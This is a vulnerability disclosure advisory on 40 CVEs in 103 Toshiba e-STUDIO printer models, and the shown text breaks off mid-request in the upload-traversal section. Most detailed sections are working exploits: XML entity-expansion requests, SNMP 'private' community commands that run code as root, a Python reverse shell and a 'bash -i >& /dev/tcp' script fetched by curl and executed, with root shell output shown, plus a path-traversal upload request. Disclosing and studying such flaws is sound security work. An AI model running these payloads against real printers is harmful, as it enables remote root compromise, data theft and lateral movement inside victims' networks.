103 models of Toshiba Multi-Function Printers (MFP) are vulnerable to 40 different vulnerabilities including remote code execution, local privilege escalation, xml injection, and more.
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Hash: SHA512
## Advisory Information
Title: 40 vulnerabilities in Toshiba Multi-Function Printers
Advisory URL: https://pierrekim.github.io/advisories/2024-toshiba-mfp.txt
Blog URL: https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html
Date published: 2024-06-27
Vendors contacted: Toshiba
Release mode: Released
CVE: CVE-2024-27141, CVE-2024-27142, CVE-2024-27143, CVE-2024-27144, CVE-2024-27145, CVE-2024-27146, CVE-2024-27147, CVE-2024-27148, CVE-2024-27149, CVE-2024-27150, CVE-2024-27151, CVE-2024-27152, CVE-2024-27153, CVE-2024-27154, CVE-2024-27155, CVE-2024-27156, CVE-2024-27157, CVE-2024-27158, CVE-2024-27159, CVE-2024-27160, CVE-2024-27161, CVE-2024-27162, CVE-2024-27163, CVE-2024-27164, CVE-2024-27165, CVE-2024-27166, CVE-2024-27167, CVE-2024-27168, CVE-2024-27169, CVE-2024-27170, CVE-2024-27171, CVE-2024-27172, CVE-2024-27173, CVE-2024-27174, CVE-2024-27175, CVE-2024-27176, CVE-2024-27177, CVE-2024-27178, CVE-2024-27179, CVE-2024-27180
## Product description
> e-STUDIO Multi-Function Printers (MFPs) are fast and productive, providing businesses and organisations the capability to produce what you need, when you need it.
>
> From https://www.toshibatec.co.uk/workplace-solutions/products-and-solutions/mfps-and-printers/
## Vulnerability Summary
Vulnerable versions: 103 different models of Toshiba Multi-Function Printers (MFP) are vulnerable. It is recommended to visit the official Toshiba advisory (https://www.toshibatec.com/information/20240531_01.html), review the list of affected printers (https://www.toshibatec.com/information/pdf/information20240531_01.pdf) and apply security patches and replace unsupported MFP models.
The summary of the vulnerabilities is as follows:
1. CVE-2024-27141 - Pre-authenticated Blind XML External Entity (XXE) injection - DoS
2. CVE-2024-27142 - Pre-authenticated XXE injection
3. CVE-2024-27143 - Pre-authenticated Remote Code Execution as root
4. CVE-2024-27144 - Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations
4.1. Remote Code Execution - Upload of a new .py module inside WSGI Python programs
4.2. Remote Code Execution - Upload of a new .ini configuration files inside WSGI Python programs
4.3. Remote Code Execution - Upload of a malicious script `/tmp/backtraceScript.sh` and injection of malicious gdb commands
4.4. Remote Code Execution - Upload of a malicious `/home/SYSROM_SRC/build/common/bin/sapphost.py` program
4.5. Remote Code Execution - Upload of malicious libraries
4.6. Other ways to get Remote Code Execution
5. CVE-2024-27145 - Multiple Post-authenticated Remote Code Executions as root
6. CVE-2024-27146 - Lack of privileges separation
7. CVE-2024-27147 - Local Privilege Escalation and Remote Code Execution using snmpd
8. CVE-2024-27148 - Local Privilege Escalation and Remote Code Execution using insecure PATH
9. CVE-2024-27149 - Local Privilege Escalation and Remote Code Execution using insecure LD_PRELOAD
10. CVE-2024-27150 - Local Privilege Escalation and Remote Code Execution using insecure LD_LIBRARY_PATH
11. CVE-2024-27151 - Local Privilege Escalation and Remote Code Execution using insecure permissions for 106 programs
11.1. 3 vulnerable programs not running as root
11.2. 103 vulnerable programs running as root
12. CVE-2024-27152 - Local Privilege Escalation and Remote Code Execution using insecure permissions for libraries
12.1. Example with `/home/SYSROM_SRC/bin/syscallerr`
13. CVE-2024-27153 - Local Privilege Escalation and Remote Code Execution using CISSM
14. CVE-2024-27154 and CVE-2024-27155 - Passwords stored in clear-text logs and insecure logs
14.1. Clear-text password written in logs when an user logs into the printer
14.2. Clear-text password written in logs when a password is modified
15. CVE-2024-27156 - Leak of authentication sessions in insecure logs in /ramdisk/work/log directory
16. CVE-2024-27157 - Leak of authentication sessions in insecure logs in /ramdisk/al/network/log directory
17. CVE-2024-27158 - Hardcoded root password
18. CVE-2024-27159 - Hardcoded password used to encrypt logs
19. CVE-2024-27160 - Hardcoded password used to encrypt logs and use of a weak digest cipher
20. CVE-2024-27161 - Hardcoded password used to encrypt files
21. CVE-2024-27162 - DOM-based XSS present in the /js/TopAccessUtil.js file
22. CVE-2024-27163 - Leak of admin password and passwords
23. CVE-2024-27164 - Hardcoded credentials in telnetd
24. CVE-2024-27165 - Local Privilege Escalation using PROCSUID
25. CVE-2024-27166 - Insecure permissions for core files
26. CVE-2024-27167 - Insecure permissions used for Sendmail - Local Privilege Escalation
27. CVE-2024-27168 - Hardcoded keys found in Python applications used to generate authentication cookies
28. CVE-2024-27169 - Lack of authentication in WebPanel - Local Privilege Escalation
29. CVE-2024-27170 - Hardcoded credentials for WebDAV access
30. CVE-2024-27171 - Insecure permissions
31. CVE-2024-27172 - Remote Code Execution - command injection as root
32. CVE-2024-27173 - Remote Code Execution - insecure upload
33. CVE-2024-27174 - Remote Code Execution - insecure upload
34. CVE-2024-27175 - Local File Inclusion
35. CVE-2024-27176 - Remote Code Execution - insecure upload
36. CVE-2024-27177 - Remote Code Execution - insecure upload
37. CVE-2024-27178 - Remote Code Execution - insecure copy
38. CVE-2024-27179 - Session disclosure inside the log files in the installation of applications
39. CVE-2024-27180 - TOCTOU vulnerability in the installation of applications, allowing to install rogue applications and get RCE
CVE-2024-27171 to CVE-2024-27180 affect the implementation of third-party application system and third-party applications installed by default in Toshiba printers - this is an extremely interesting attack surface for persistence.
TL;DR: An attacker can compromise Toshiba Multi-Function Printers using multiple vulnerabilities.
List of vulnerable models of Toshiba Multi-Function Printers (103 models):
2021AC, 2521AC, 2020AC, 2520AC, 2025NC, 2525AC, 3025AC, 3525AC, 3525ACG, 4525AC, 4525ACG, 5525AC, 5525ACG,
6525AC, 6525ACG, 2528A, 3028A, 3528A, 3528AG, 4528A, 4528AG, 5528A, 6528A, 6526AC, 6527AC, 7527AC, 6529A,
7529A, 9029A, 330AC, 400AC, 2010AC, 2110AC, 2510AC, 2610AC, 2015NC, 2515AC, 2615AC, 3015AC, 3115AC, 3515AC,
3615AC, 4515AC, 4615AC, 5015AC, 5115AC, 2018A, 2518A, 2618A, 3018A, 3118A, 3018AG, 3518A, 3518AG, 3618A,
3618AG, 4518A, 4518AG, 4618A, 4618AG, 5018A, 5118A, 5516AC, 5616AC, 6516AC, 6616AC, 7516AC, 7616AC, 5518A,
5618A, 6518A, 6618A, 7518A, 7618A, 8518A, 8618A, 2000AC, 2500AC, 2005NC, 2505AC, 3005AC, 3505AC, 4505AC,
5005AC, 2008A, 2508A, 3008A, 3008AG, 3508A, 3508AG, 4508A, 4508AG, 5008A, 5506AC, 6506AC, 7506AC, 5508A,
6508A, 7508A, 8508A, 3508LP, 4508LP, 5008LP.
_Miscellaneous notes_:
This security assessment was entirely done using a blackbox approach and fully-remote - I only had some IPs of printers (no physical access and no credentials for admin or normal users). Consequently, the physical security of the printers was not analyzed and the vulnerabilities were confirmed with different models running the latest firmware versions (e-STUDIO2010AC, e-STUDIO3005AC, e-STUDIO3508A and e-STUDIO5018A).
The vulnerabilities were communicated to Toshiba on June 14, 2023 and communications with Toshiba were very effective.
_Impacts_
An attacker can compromise Toshiba multi-function printers (MFP) and execute code. These printers are running Linux and are powerful. They are ideal to host implants (and fun programs, like Bettercap) and move laterally inside infrastructures.
_Recommendations_
- - Use network segmentation to isolate MFPs.
- - Apply security patches.
- - Replace unsupported MFPs.
## Details - Pre-authenticated Blind XML External Entity (XXE) injection - DoS
The Toshiba printers use XML communication for the `/contentwebserver` API endpoint provided by the printer.
This endpoint is managed by an Apache module located inside the `mod_contentwebserver.so` library. This library provides XML parsing and is vulnerable to a time-based blind XML External Entity (XXE) vulnerability.
Using a Billion-laugh attack, we can confirm there is a time-based blind XXE vulnerability. When sending only 1 entity (&lol1) that is defined inside the lolz root element, this &lol1 entity is expanding into 10 entities and the request takes 200ms.
With an entity that is expanding into:
- - 10^10 entities, the request takes 206ms;
- - 10^10^10 entities, the request takes 541ms;
- - 10^10^10^10 entities, the request takes 2.7s;
- - 10^10^10^10^2 entities, the request takes 8.8s;
- - 10^10^10^10^2 entities, the request takes 30.9s;
Even if the Apache server displays `MODULE_ERROR:SendRequest failed`, the XML has been successfully evaluated by the `mod_contentwebserver.so` library running in the remote printer.
The payload is:
POST /contentwebserver HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
csrfpId: 10.0.0.2.852d519a6fa9825fae857bac5c003da0
Content-Length: 759
Origin: https://10.0.0.1:8080
Connection: close
Referer: https://10.0.0.1:8080/?MAIN=TOPACCESS
Cookie: Session=10.0.0.2.852d519a6fa9825fae857bac5c003da0; Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DLOGS; IgnoreSessionTimeout=1
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol5;</lolz>
Using this HTTP request inside Burp (with a correct session while browsing the printer without authentication), we can modify the entity on the last line; we can see that the XML has been parsed by comparing the time required for the printer to analyze the request.
The time will appear inside Burp on the bottom-right of the Window (in red in the following screenshots):
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
With 10^10^10^10^4 entity, then request takes 30 seconds.
HTTP requests containing more XML complexity (with a lot of XML entities to be parsed) will DoS the printer and the CPU of the printer will run at 100%.
The XML parser is vulnerable to XXE, without authentication.
Exfiltration of file over HTTP, FTP and gopher was not obtained as some protections seem to be implemented in the XML parser.
## Details - Pre-authenticated XXE injection
The Toshiba printers use XML communication for the `/contentwebserver` API endpoint provided by the printer.
This endpoint is managed by an Apache module located inside the `mod_contentwebserver.so` library. This library provides XML parsing and is vulnerable to a XML External Entity (XXE) vulnerability.
Using a Billion-laugh attack and correctly formatted data for the printer (with the Toshiba-specific non-public DTD, the tags will be interpreted by the remote printer), we can confirm the presence of a XXE vulnerability. The resulting evaluated XML will be displayed by the printer:
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
The malicious payload is (containing a `<X>&lol4;</X>`):
POST /contentwebserver HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
csrfpId: 10.0.0.2.5d5255447c6eb69fc84a2d8c2056eb7d
Content-Length: 1226
Origin: https://10.0.0.1:8080
Connection: close
Referer: https://10.0.0.1:8080/Administration/CreateNewPwd.html
Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DDEVICE; IgnoreSessionTimeout=1; clicked=0; addrLastVisited=ADDRBK; Session=10.0.0.2.5d5255447c6eb69fc84a2d8c2056eb7d; PREF=%7BList%2C8%2CClip
boardForPage-%7D; PROGSTAT=0
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<?xml version="1.0"?>
<DeviceInformationModel>
<GetValue>
<UserManager>
<View>
<Users/>
</View>
</UserManager>
</GetValue>
<SetValue>
<UserManager>
<View>
<Users>
<User>
<Information>
<X>&lol4;</X>
</Information>
</User>
</Users>
</View>
</UserManager>
</SetValue>
<Command>
<ForgotPassword>
<commandNode>UserManager/Users</commandNode>
<Params>
<userDetails contentType="XPath">UserManager/View/Users/User</userDetails>
<cmdDetails commandType="Reset"/>
</Params>
</ForgotPassword>
</Command>
</DeviceInformationModel>
And the response will be:
HTTP/1.1 200 OK
Date: Wed, 27 May 2023 10:54:12 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=63072000
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: text/xml
Content-Length: 30465
<?xml version="1.0"?>
<DeviceInformationModel>
<GetValue>
<UserManager>
<View>
<Users>
<User>
<Information>
<X>lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol[...]lollollollollol</X>
</Information>
</User>
</Users>
</View>
</UserManager>
</GetValue>
<Command>
<ForgotPassword>
<commandNode>UserManager/Users</commandNode>
<Params>
<userDetails contentType="XPath">UserManager/View/Users/User</userDetails>
<cmdDetails commandType="Reset"/>
</Params>
<Response>
<statusOfOperation>STATUS_FAILED</statusOfOperation>
</Response>
</ForgotPassword>
</Command>
</DeviceInformationModel>
kali%
The XML parser is vulnerable to XXE, without authentication.
An attacker can exploit the XXE to retrieve information.
Exploitability was not analyzed in depth since a RCE was found at the same time: Pre-authenticated Remote Code Execution as root.
## Details - Pre-authenticated Remote Code Execution as root
It was observed that the Toshiba printers use SNMP for configuration.
By default, these communities are used:
- - `public` for read only access;
- - `private` for read/write access.
Using the `private` community, it is possible to remotely execute commands as root on the remote printer.
For example, these commands will execute the command `id` as root on the remote printer:
kali% snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private [ip] 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = '-c id'
NET-SNMP-EXTEND-MIB::nsExtendStatus."cmd" = INTEGER: createAndGo(4)
NET-SNMP-EXTEND-MIB::nsExtendCommand."cmd" = STRING: /bin/sh
NET-SNMP-EXTEND-MIB::nsExtendArgs."cmd" = STRING: -c id
kali% snmpbulkwalk -c private -v2c [ip] NET-SNMP-EXTEND-MIB::nsExtendObjects
NET-SNMP-EXTEND-MIB::nsExtendNumEntries.0 = INTEGER: 6
NET-SNMP-EXTEND-MIB::nsExtendCommand."cmd" = STRING: /bin/sh
NET-SNMP-EXTEND-MIB::nsExtendArgs."cmd" = STRING: -c id
NET-SNMP-EXTEND-MIB::nsExtendInput."cmd" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."cmd" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendExecType."cmd" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."cmd" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendStorage."cmd" = INTEGER: volatile(2)
NET-SNMP-EXTEND-MIB::nsExtendStatus."cmd" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."cmd" = STRING: uid=0(root) gid=2000(trusted) groups=0(root)
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."cmd" = STRING: uid=0(root) gid=2000(trusted) groups=0(root)
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."cmd" = INTEGER: 1
NET-SNMP-EXTEND-MIB::nsExtendResult."cmd" = INTEGER: 0
NET-SNMP-EXTEND-MIB::nsExtendOutLine."cmd".1 = STRING: uid=0(root) gid=2000(trusted) groups=0(root)
Using this vulnerability will allow any attacker to get a root access on a remote Toshiba printer as shown below.
This following PoC will execute a connect-back shell with root privilege to 10.0.0.2:21/tcp:
kali% snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private [ip] 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /home/SYSROM_SRC/build/release/bin/python 'nsExtendArgs."cmd"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.0.0.2\",21));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
NET-SNMP-EXTEND-MIB::nsExtendStatus."cmd" = INTEGER: createAndGo(4)
NET-SNMP-EXTEND-MIB::nsExtendCommand."cmd" = STRING: /home/SYSROM_SRC/build/release/bin/python
NET-SNMP-EXTEND-MIB::nsExtendArgs."cmd" = STRING: -c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.0.0.2\",21));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"
kali% snmpbulkwalk -c private -v2c [ip] NET-SNMP-EXTEND-MIB::nsExtendObjects
And on the attacker machine, we will receive a shell on port 21/tcp:
kali# nc -l -v -p 21
listening on [any] 21 ...
10.0.0.1: inverse host lookup failed: Unknown host
connect to [10.0.0.2] from (UNKNOWN) [10.0.0.1] 43467
sh-4.1# uname -ap
Linux MFP12188257 3.10.38-ltsi-WR6.0.0.11_standard #3010 SMP Wed Jul 6 16:20:23 IST 2022 i686 GNU/Linux
sh-4.1# id
uid=0(root) gid=2000(trusted) groups=0(root)
sh-4.1# exit
The attacker will then get a full root access in the printer, including full access to the encrypted partition:
kali# nc -l -v -p 443
listening on [any] 443 ...
10.0.0.1: inverse host lookup failed: Unknown host
connect to [10.0.0.2] from (UNKNOWN) [10.0.0.1] 36468
bash-4.1# df -h
df -h
Filesystem Size Used Avail Use% Mounted on
rootfs 4.8G 3.7G 904M 81% /
/dev/root 48M 28M 18M 62% /old_root
/dev/sda2 4.8G 3.7G 904M 81% /
/dev/sda13 4.8G 49M 4.5G 2% /platform
none 1.5G 188K 1.5G 1% /dev
/dev/sda3 4.8G 1.3G 3.4G 28% /rollback
/dev/sda5 25G 904M 23G 4% /work
/dev/sda6 2.9G 620M 2.2G 23% /registration
/dev/sda7 976M 1.3M 908M 1% /backup
/dev/sda8 32G 60M 30G 1% /imagedata
/dev/sda9 94G 65M 89G 1% /application
/dev/mapper/enc_encryption
992M 2.6M 964M 1% /encryption
/dev/sda12 119G 60M 112G 1% /storage
tmpfs 1.5G 3.7M 1.5G 1% /dev/shm
bash-4.1# mount
mount
rootfs on / type rootfs (rw)
/dev/root on /old_root type ext2 (rw,relatime,errors=continue,user_xattr)
proc on /old_root/proc type proc (rw,relatime)
/dev/sda2 on / type ext4 (rw,relatime,nodelalloc,nobarrier,data=ordered)
/dev/sda13 on /platform type ext4 (rw,relatime,nodelalloc,nobarrier,data=ordered)
proc on /proc type proc (rw,relatime)
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
none on /dev type tmpfs (rw,relatime,mode=755)
ramfs on /ramdisk type ramfs (rw,relatime,size=100m)
/dev/sda3 on /rollback type ext4 (rw,relatime,nodelalloc,nobarrier,data=ordered)
/dev/sda5 on /work type ext4 (rw,relatime,nodelalloc,nobarrier,data=ordered)
/dev/sda6 on /registration type ext4 (rw,relatime,nodelalloc,nobarrier,data=ordered)
/dev/sda7 on /backup type ext4 (rw,relatime,nodelalloc,nobarrier,data=ordered)
/dev/sda8 on /imagedata type ext4 (rw,relatime,nodelalloc,nobarrier,data=ordered)
/dev/sda9 on /application type ext4 (rw,relatime,nodelalloc,nobarrier,data=ordered)
/dev/mapper/enc_encryption on /encryption type ext4 (rw,relatime,nodelalloc,nobarrier,data=ordered)
/dev/sda12 on /storage type ext4 (rw,relatime,nodelalloc,nobarrier,data=ordered)
tmpfs on /dev/shm type tmpfs (rw,relatime,mode=755)
devpts on /dev/pts type devpts (rw,relatime,mode=600)
fusectl on /sys/fs/fuse/connections type fusectl (rw,relatime)
bash-4.1#
The vulnerability is located inside net-snmpd, as net-snmpd supports the `NET-SNMP-EXTEND-MIB` extension MIB.
This extension allows the execution of code from the net-snmpd daemon, with root privileges, with 2 steps:
1. Definition of a new MIB;
2. Execution of the new MIB.
A bash payload is also provided:
This following PoC will download a shell script, save it inside `/dev/shm/pwn.sh` and execute it as root on the targeted printer:
kali% cat /var/www/html/pwn.sh
#!/bin/sh
bash -i >& /dev/tcp/10.0.0.2/443 0>&1
kali% cat ./remote-pwn.sh
#!/bin/sh
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private $1 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = '-c "curl https://10.0.0.2/pwn.sh -o /dev/shm/pwn.sh"'
snmpbulkwalk -c private -v2c $1 NET-SNMP-EXTEND-MIB::nsExtendObjects
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private $1 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = '-c "chmod 755 /dev/shm/pwn.sh"'
snmpbulkwalk -c private -v2c $1 NET-SNMP-EXTEND-MIB::nsExtendObjects
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private $1 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = ' "/dev/shm/pwn.sh"'
snmpbulkwalk -c private -v2c $1 NET-SNMP-EXTEND-MIB::nsExtendObjects
Using this PoC to get a connect-back root shell:
kali% ./remote-pwn.sh 10.0.0.1
NET-SNMP-EXTEND-MIB::nsExtendStatus."cmd" = INTEGER: createAndGo(4)
NET-SNMP-EXTEND-MIB::nsExtendCommand."cmd" = STRING: /bin/sh
NET-SNMP-EXTEND-MIB::nsExtendArgs."cmd" = STRING: -c "curl https://10.0.0.2/pwn.sh -o /dev/shm/pwn.sh"
NET-SNMP-EXTEND-MIB::nsExtendNumEntries.0 = INTEGER: 21
NET-SNMP-EXTEND-MIB::nsExtendCommand."cmd" = STRING: /bin/sh
NET-SNMP-EXTEND-MIB::nsExtendArgs."cmd" = STRING: -c "curl https://10.0.0.2/pwn.sh -o /dev/shm/pwn.sh"
NET-SNMP-EXTEND-MIB::nsExtendInput."cmd" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."cmd" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendExecType."cmd" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."cmd" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendStorage."cmd" = INTEGER: volatile(2)
NET-SNMP-EXTEND-MIB::nsExtendStatus."cmd" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."cmd" = STRING: % Total % Received % Xferd Average Speed Time Time Time Current
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."cmd" = STRING: % Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 53 100 53 0 0 53 0 0:00:01 --:--:-- 0:00:01 114
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."cmd" = INTEGER: 3
NET-SNMP-EXTEND-MIB::nsExtendResult."cmd" = INTEGER: 0
NET-SNMP-EXTEND-MIB::nsExtendOutLine."cmd".1 = STRING: % Total % Received % Xferd Average Speed Time Time Time Current
NET-SNMP-EXTEND-MIB::nsExtendOutLine."cmd".2 = STRING: Dload Upload Total Spent Left Speed
100 53 100 53 0 0 53 0 0:00:01 --:--:-- 0:00:01 114
Error in packet.
Reason: inconsistentValue (The set value is illegal or unsupported in some way)
Failed object: NET-SNMP-EXTEND-MIB::nsExtendStatus."cmd"
NET-SNMP-EXTEND-MIB::nsExtendNumEntries.0 = INTEGER: 21
NET-SNMP-EXTEND-MIB::nsExtendStatus."cmd" = INTEGER: createAndGo(4)
NET-SNMP-EXTEND-MIB::nsExtendCommand."cmd" = STRING: /bin/sh
NET-SNMP-EXTEND-MIB::nsExtendArgs."cmd" = STRING: "/dev/shm/pwn.sh"
caTimeout: No Response from 10.0.0.1
And the connect-back shell script will connect to 10.0.0.2 on port 443/tcp, as defined in the previous `pwn.sh` script:
kali# nc -l -v -p 443
listening on [any] 443 ...
10.0.0.1: inverse host lookup failed: Unknown host
connect to [10.0.0.2] from (UNKNOWN) [10.0.0.1] 36464
bash-4.1# uname -ap
Linux MFP14144292 3.10.38-ltsi-WR6.0.0.11_standard #3513 SMP Tue Jul 5 09:58:22 IST 2022 i686 GNU/Linux
bash-4.1# id
uid=0(root) gid=2000(trusted) groups=0(root)
bash-4.1#
We can also review the configuration file located at `/encryption/al/network/config/snmpd.conf`, containing the default communities:
bash-4.1# grep -v '^#' /encryption/al/network/config/snmpd.conf
rocommunity public
rocommunity6 public
rwcommunity private
rwcommunity6 private
com2sec udp 0.0.0.0/24 public
view all included .1 80
view generaluser_view excluded .1
view generaluser_view included .1.3.6.1.4.1.1129.2.3.50.1.3.23.2.1.3
view generaluser_view included .1.3.6.1.4.1.1129.2.3.50.1.3.21.4.1.3
view generaluser_view included .1.3.6.1.4.1.1129.2.3.50.1.3.21.4.1.4
access udpGroup "toshibaAmerica" v1 noauth exact all all none
access admin_priv_group "" usm priv prefix all all none
access admin_auth_group "" usm auth prefix all all none
access generaluser_priv_group "" usm priv prefix all generaluser_view none
access generaluser_auth_group "" usm auth prefix all generaluser_view none
trapcommunity public
dlmod mibs_impl /home/SYSROM_SRC/lib/libalmibs_impl.so
master off
agentaddress udp:161,udp6:161
authtrapenable 1
maxGetbulkRepeats 20
maxGetbulkResponses 100bash-4.1#
SNMP is also exposed over IPv6.
## Details - Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations
Toshiba printers provide several ways to upload files using the web interface.
By default, this web interface is reachable without authentication.
For example, using the e-filing web interface, freely reachable using https://ip:8080/?MAIN=EFILING, we can upload documents:
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
It is possible to upload a document:
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
The uploaded file will be stored inside the printer in the /work/al/tmp/upload/ directory, inside a directory named by the current session.
bash-4.1# find /work/al/tmp/upload
/work/al/tmp/upload
/work/al/tmp/upload/ContentWebServer_10.0.0.2.f54c69d5d2b1963325041644084615ab
/work/al/tmp/upload/ContentWebServer_10.0.0.2.f54c69d5d2b1963325041644084615ab/test3.txt
/work/al/tmp/upload/ContentWebServer_10.0.0.2.f54c69d5d2b1963325041644084615ab/test1.txt
/work/al/tmp/upload/ContentWebServer_10.0.0.2.f54c69d5d2b1963325041644084615ab/test2.txt
bash-4.1# ls -latrR /work/al/tmp/upload
/work/al/tmp/upload:
total 12
drwxr-xr-x 7 root lp 4096 Mar 24 05:35 ..
drwx------ 2 apache trusted 4096 Mar 24 05:43 ContentWebServer_10.0.0.2.f54c69d5d2b1963325041644084615ab
drwxrwxrwx 3 root trusted 4096 Mar 24 05:46 .
/work/al/tmp/upload/ContentWebServer_10.0.0.2.f54c69d5d2b1963325041644084615ab:
total 20
-rw-rw-rw- 1 apache trusted 8 Mar 24 05:41 test1.txt
-rw-rw-rw- 1 apache trusted 9 Mar 24 05:42 test2.txt
-rw-rw-rw- 1 apache trusted 9 Mar 24 05:43 test3.txt
drwx------ 2 apache trusted 4096 Mar 24 05:43 .
drwxrwxrwx 3 root trusted 4096 Mar 24 05:46 ..
bash-4.1#
This current session is provided by the printer when visiting the web interface without authentication.
An attacker can replay the HTTP request with a valid session obtained while browsing https://ip/?MAIN=EFILING without authentication, and change the path to the uploaded file. This path will then be used to store the file inside the remote printer.
For example, with a `Name` variable set to `/./../../../../../home/SYSROM_SRC/sbin/malicious.program`, the uploaded file is correctly written into `/home/SYSRM_SRC/sbin/malicious.program` inside the printer.
The HTTP request will be:
POST /contentwebserver/upload HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
